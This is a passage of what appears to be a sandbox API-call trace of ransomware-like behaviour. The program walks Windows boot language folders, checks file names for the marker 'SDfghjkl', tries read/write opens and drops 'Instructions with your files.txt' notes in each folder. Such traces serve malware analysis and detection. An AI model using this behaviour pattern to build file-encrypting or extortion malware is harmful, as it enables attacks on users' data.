[0032.942] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
[0032.942] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0032.942] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0032.942] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0032.943] CloseHandle (hObject=0x108) returned 1
[0032.943] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0032.943] GetProcessHeap () returned 0x2e0000
[0032.943] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0032.943] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
[0032.943] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP") returned 17
[0032.943] GetProcessHeap () returned 0x2e0000
[0032.943] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0032.943] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\*") returned 19
[0032.943] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0032.943] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\.") returned 19
[0032.943] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0032.943] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\..") returned 20
[0032.943] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0032.943] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 33
[0032.943] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0032.943] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0032.944] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
[0032.944] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\Instructions with your files.txt") returned 50
[0032.944] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\Instructions with your files.txt" (normalized: "c:\\boot\\ja-jp\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0032.944] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
[0032.945] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
[0032.945] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0032.945] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0032.945] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0032.945] CloseHandle (hObject=0x108) returned 1
[0032.945] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0032.945] GetProcessHeap () returned 0x2e0000
[0032.945] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0032.945] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
[0032.945] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR") returned 17
[0032.945] GetProcessHeap () returned 0x2e0000
[0032.945] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0032.945] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\*") returned 19
[0032.945] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0032.956] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\.") returned 19
[0032.956] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0032.956] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\..") returned 20
[0032.956] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0032.956] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 33
[0032.956] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0032.956] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0032.956] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
[0032.956] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\Instructions with your files.txt") returned 50
[0032.956] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\Instructions with your files.txt" (normalized: "c:\\boot\\ko-kr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0032.957] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
[0032.957] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
[0032.958] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0032.958] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0032.958] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0032.958] CloseHandle (hObject=0x108) returned 1
[0032.958] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0032.958] GetProcessHeap () returned 0x2e0000
[0032.958] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0032.958] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1
[0032.958] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\memtest.exe") returned 23
[0032.958] StrStrIW (lpFirst="memtest.exe", lpSrch="SDfghjkl") returned 0x0
[0032.958] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0032.958] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
[0032.958] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO") returned 17
[0032.958] GetProcessHeap () returned 0x2e0000
[0032.958] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0032.959] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\*") returned 19
[0032.959] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0032.959] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\.") returned 19
[0032.959] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0032.959] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\..") returned 20
[0032.959] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0032.959] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 33
[0032.959] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0032.959] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0032.982] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
[0032.982] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\Instructions with your files.txt") returned 50
[0032.982] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\Instructions with your files.txt" (normalized: "c:\\boot\\nb-no\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0032.982] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
[0032.983] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
[0032.983] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0032.983] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0032.983] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0032.983] CloseHandle (hObject=0x108) returned 1
[0032.984] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0032.984] GetProcessHeap () returned 0x2e0000
[0032.984] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0032.984] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
[0032.984] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL") returned 17
[0032.984] GetProcessHeap () returned 0x2e0000
[0032.984] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0032.984] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\*") returned 19
[0032.984] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0032.984] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\.") returned 19
[0032.984] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0032.984] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\..") returned 20
[0032.984] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0032.984] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 33
[0032.984] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0032.984] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0032.984] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
[0032.985] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\Instructions with your files.txt") returned 50
[0032.985] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\Instructions with your files.txt" (normalized: "c:\\boot\\nl-nl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0032.985] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
[0032.986] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
